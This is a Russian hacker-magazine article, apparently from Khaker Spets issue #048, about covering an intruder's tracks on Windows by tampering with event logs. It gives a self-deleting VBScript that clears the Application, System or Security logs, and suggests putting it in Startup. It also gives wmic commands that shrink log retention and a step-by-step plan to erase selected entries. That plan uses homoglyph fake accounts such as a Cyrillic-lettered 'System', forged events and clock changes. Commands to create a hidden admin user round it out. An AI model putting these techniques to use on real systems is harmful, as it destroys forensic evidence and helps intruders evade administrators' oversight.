
Бортовой журнал
Анализирующий (analyst1945@mail.ru, www.wshinform.boom.ru)
Спецвыпуск: Хакер, номер #048
Препарируем логи Windows
«Чисти логи три раза в день!», «Уходя, он почистил за собой логи», «Заглянув в логи, администратор обнаружил…» - едва ли не самые часто встречающиеся фразы в историях андеграунда. Чистка логов – гарантия безопасности взломщика и залог его спокойного сна.
Читая очередную хакерскую байку, а, может, и не байку, а преукрашенную историю, я обратил внимание на стандартную концовку. Хеппи-энд выделялся в этом отчете полным отсутствием каких-либо подробностей, хотя все остальное было описано четко и внятно, с примерами команд, а в некоторых местах - и со скриншотами. Можно было подумать, что чистка логов - настолько простое занятие, что доступно любому пользователю, прошедшему недельные курсы и научившемуся после них отличать клавишу CTRL от SHIFT. Так что же представляет собой на самом деле чистка логов?
Для чистки используются всевозможные логвайперы и руткиты, и используются они преимущественно в Linux-системах. Но этот номер посвящен Win-системам, которые, кстати, могут вести логи не хуже пингвинообразных осей. Вся работа будет проводиться средствами, встроенными в саму систему, так что практически никакого стороннего софта нам не понадобится.
WSH – встроенная система автоматизации
По функциональным возможностям WSH (Windows Script Host) может успешно потягаться с консольными скриптами Linux, значительно превосходя их по простоте создания. В качестве инструмента разработки подойдет любой текстовый редактор. Сценарии готовы к работе сразу же после написания, если WSH не отключены на данном компьютере и поддерживаются операционной системой. Поддержка скриптов присутствует в Windows начиная с 98-й версии (для более ранних версий ОС сервер сценариев устанавливается отдельно), которой логи не снились в самом кошмарном сне. Возможности и синтаксис VBScript рассмотрены достаточно подробно в прошлых номерах журнала, поэтому упомянем лишь о том, что код сценария помещается в текстовый файл с расширением WSF после XML-конструкции в начале:
<?xml version="1.0" encoding="windows-1251"?>
<job id="T1">
<script language="VBScript">
<![CDATA[
и
]]>
</script>
</job>
в конце.
Наш выбор
Если слишком буквально понимать призыв «чисти логи!», то на программирование уйдет не более пары минут.
Сценарий, который можно видеть на врезке, достаточно поместить в папку «Автозагрузка». Результатом будет кристальная чистота журнала (или журналов - кому как нравится) событий и скрупулезный поиск багов, троянов и прочих mallware админом на почве обостренной подозрительности. Впрочем, если нет желания возвращаться на "попользованную" систему и нет желания вдаваться в подробности, то акт приравнивания к нулю объема файла журнала можно считать прощальным хлопком дверью, что будет ощутимым ударом по изнеженным нервам системщика.
Тому, кто планирует периодически навещать понравившуюся систему, разумнее было бы ограничить количество информации, хранимой в логах, по объему или числу прошедших дней. Это можно сделать с помощью командной строки, получив доступ к свойствам журнала событий с помощью псевдонима NTEVENTLOG. Для начала откроем окно командной консоли: Пуск –> Выполнить -> “cmd”. Затем запустим программу, позволяющую работать с WMI через командную строку, используя псевдонимы: «wmic». Для изменения нужных параметров наберем команды:
NTEVENTLOG WHERE LogFileName=”Application” SET MaxFileSize=65536
для адание максимального размера файла журнала «Приложение» в 64 килобайт.
NTEVENTLOG WHERE LogFileName=” System” SET OverwriteOutDated=1
для адание максимального срока хранения записей журнала «Система» в 1 день.
Кроме изменения настроек, псевдоним NTEVENTLOG позволяет просмотреть все свойства выбранного журнала событий:
NTEVENTLOG WHERE LogFileName=”Application” GET /VALUE
Если требуется «интеллектуальное» изменение настроек без участия человека, то нетрудно и написать оболочку-сценарий для этой команды. Один из вариантов такой оболочки показан во врезке.
Уникальный почерк или опасная улика?
По привычке руки набивают знакомые VBScript-операторы, в результате чего возникает сценарий, вносящий в журналы системы нужные записи.
Закончив любование проделанной работой, я захотел проверить ее результаты. Каково же было разочарование, когда в столбце журнала «Источник» («Source Type») обнаружилось разоблачающее взломщика значение «WSH». Панику смягчало лишь отсутствие указания на юзера, внесшего запись «Пользователь» – «Н/А» («User Name» - «N/A»). Нужно было искать другой путь. И он был найден.
Операционная система для хакера
Из глубин подсознания нахлынули давние воспоминания. Робко просматриваю справочную систему Windows и нахожу в справочнике по командной строке неприметную, но не менее от этого важную команду eventcreate, с помощью которой можно вносить записи в журналы событий непосредственно из командной строки.
Основное преимущество вышеуказанной команды перед сценариями WSH – возможность напрямую указать имя источника и пользователя. Правда, пользователь должен существовать, и пароль его должен быть известен. Кроме того, системные источники вроде «Userenv» или «MsiInstaller» заблокированы, а вносить запись от имени пользователя «System» не представляется возможным. Выдается сообщение «Ошибка: исходный параметр используется только для определения приложения или сценария (невстроенные источники)». Но, к счастью, для этой проблемы есть решение, которое лежит на поверхности. Суть в том, что некоторые символы латинского и кириллического алфавита имеют практически одинаковый вид (по крайней мере, в шрифтах Windows), но разные коды. «А» латинское и «А» кириллическое – не одно и то же, хотя и выглядят одинаково. Если создание учетной записи «System» невозможно, то пользователь «System» (с кириллической «е») добавляется на «Ура». После создания учетной записи от ее имени можно вносить события в системный журнал, а затем удалять в целях конспирации. Аналогичная подмена действует и на указание «Источника».
Остается еще одна проблема – дата и время внесения записи. На самом деле, при наличии прав Администратора это далеко не проблема, а, скажем так, небольшое препятствие. Все решается обычным переводом календаря и часов, что вполне осуществимо средствами командной строки и сценариев.
Как резюме ко всему здесь написанному. Схематично процедура удаления записи об определенных событиях выглядит так:
- Сохранение некоторых записей журнала событий в отдельный источник
- Создание учетных записей со специфическими именами
- Очистка журнала событий
- Считывание записей из архива
- Изменение дат и времени и внесение считанных записей
- Удаление временных учетных записей
- Удаление архива записей
- Установка текущей даты и времени
Отслеживаем события в реальном времени
Несмотря на кажущуюся простоту описанного способа иногда манипуляции с логами не имеют большого смысла, а, скорее, напоминают борьбу с симптомами заболевания, вместо выяснения и удаления причины болезни. Многие записи в журналы событий вносятся благодаря настройкам параметров локальной политики. Изменение локальной политики есть не что иное, как редактирование реестра в комфортной обстановке, то есть через консоль ММС. В этом легко убедиться, если одновременно с правкой политик безопасности воспользоваться средством мониторинга реестра, например RegFix. Измененные параметры можно сохранить и в будущем править с помощью командных файлов и сценариев WSH.
Большую опасность представляют приложения и сервисы, имеющие свою собственную систему документирования событий, иногда дублирующую записи в стандартные логи Windows. Также помимо пассивной регистрации произошедших изменений могут производиться конкретные действия, например, отправка SMS или ICQ системному администратору. Однако и злой взломщик может не остаться в долгу, запустив сценарий, отслеживающий появление в логах записей определенного типа.
Альтернативой этому WSH-сценарию служит CMD-команда eventtriggers, которая создает в операционной системе так называемые триггеры, отслеживающие выполнение определенных условий в журнале событий и действующие в соответствии с ними.
Пример создания триггера, взятый из справочного файла:
eventtriggers /create /s srvmain /u maindom\hiropln /p p@ssW23 /tr "Отсутствие места на диске" /eid 4133 /t warning /tk \\server\share\diskcleanup.cmd
За кадром
В статье, по причине ее ограниченного объема, не указан способ копирования записей из системных журналов в текстовый файл. Один из вариантов сценария, реализующего эти возможности, можно найти на прилагающемся к журналу диске, хотя лучшим примером, на мой взгляд, будет входящий в Windows XP Professional сценарий eventquery.vbs, на который, кстати, распространяется защита системных файлов.
Очищаем журналы событий
'Выбирается журнал событий
LogType = “Application” ‘Приложение
‘LogType = “System” ’Безопасность
‘LogType = “Security” ’Система
‘Подключается к пространству WMI – одной строкой!
Set Eventlog = GetObject(“winmgmts:{impersonationLevel=impersonate}”).ExecQuery(“select *from Win32_NTEventLogFile where Logfilename=’” & LogType & “’”)
‘Очищаются выбранные журналы
For each Entry in EventLog
Entry.ClearEventlog()
Next
'И завершающие штрихи – скипт стирает сам себя.
Scriptname=wscript.scriptfullname
set fso=CreateObject("Scripting.FileSystemObject")
fso.Getfile(Scriptname).Delete
‘Завершение работы сценария
Wscript.Quit
Изменение свойств логов
Option Explicit
Dim WshShell, objEnv, fso
Dim wmicpath, runstr, prm
Dim temp1, batfile, batfilerun
Dim LogFileNm
'Получается доступ к системным объектам
Set WshShell=CreateObject("WScript.Shell")
Set objEnv=WshShell.Environment("Process")
Set fso=CreateObject("Scripting.FileSystemObject")
'Определяется каталог временных файлов
temp1=objEnv("TEMP")
Назначается имя исполняемому файлу
batfile=temp1 & chr(92) & "logsettings.bat"
'Выбирается журнал
LogFileNm = chr(34) & "Application" & chr(34)
'LogFileNm = chr(34) & "System" & chr(34)
'LogFileNm = chr(34) & "Security" & chr(34)
'Формируется путь к wmic.exe
wmicpath = objEnv("windir") & "\system32\wbem\wmic.exe "
'Определяется устанавливаемый параметр
prm = "MaxFileSize=3000000"
'prm = "OverwriteOutDated=7"
'Формируется командная строка
runstr=wmicpath & "NTEVENTLOG WHERE LogFileName=" & LogFileNm & " SET " & prm
'Создается командный файл
Set batfilerun = fso.opentextfile(batfile,2,true)
batfilerun.writeline runstr '& "> nul"
batfilerun.close
'Выполняется командный файл в скрытом режиме
WshShell.run batfile,1
'Через 3 секунды командный файл удаляется
wscript.sleep 3000
fso.deletefile batfile
'Для контроля исполняемой команды
'msgbox runstr
Wscript.Quit
Вносим записи в логи сами
'Объявляются используемые переменные
Option Explicit
Dim WshShell, LEvent
Dim Ltype,LMsgevent,Lcomputer
'Ltype -Код типа события
'0 - Успех (Success)
'1 - Ошибка (Error)
'2 - Предупреждение (Warning)
'4 - Уведомление (Information)
'8 - Аудит успехов (Audit_Sucess)
'16 - Аудит отказов (Audit_Failure)
'LMsgevent - Текстовое сообщение
'Lcomputer - Дополнительный параметр, указывающий имя компьютера для записи события на удаленной машине
Ltype = 2
LMsgevent = "Настрой фаервол!"
'Получается доступ к системным объектам
Set WshShell=CreateObject("WScript.Shell")
'Вносится запись
LEvent=WshShell.LogEvent(Ltype,LMsgevent)
'Завершение работы сценария
Wscript.Quit
Отслеживаем появление в логах определенной записи
strComputer = "."
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate, (System)}!\\" & strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService.ExecNotificationQuery ("Select * from instancecreationevent where " & "TargetInstance isa 'Win32_NTLogEvent' " & "and TargetInstance.EventCode = '6005' ")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
strAlertToSend = objLatestEvent.TargetInstance.User & " attempted to access DatabaseServer."
' ***
‘ Команды, исполняемые при возникновении записи с кодом 6005 в журнале «Система»
‘***
Loop
Сайты, на которых можно найти материалы по WSH
Создать пользователя с помощью консоли можно командой “NET USER UserName UserPass /ADD”.
Поместить пользователя в группу «Администраторы» с помощью консоли можно командой “NET LOCALGROUP Администраторы UserName /ADD”.
Подробности о программе wmic можно узнать во встроенной справочной системе либо запустив ее с параметром «/?».
Чтобы regedit не вопил: "Добавить в реестр информацию из файла *.reg?", нужно запускать его с ключом "/s". Например, regedit.exe /s rulez.reg.
Команды Eventcreate, Eventtriggers и Eventquery достаточно подробно описаны во встроенной справке Windows XP Professional.
Большая часть вышеописанных действий возможна только при наличии прав Администратора и включенном сервере сценариев WSH.
Другие области применения сценариев WSH описывались в Спеце #07.2003(32), 08.2003(33) и 03.2004(40).
Содержание
|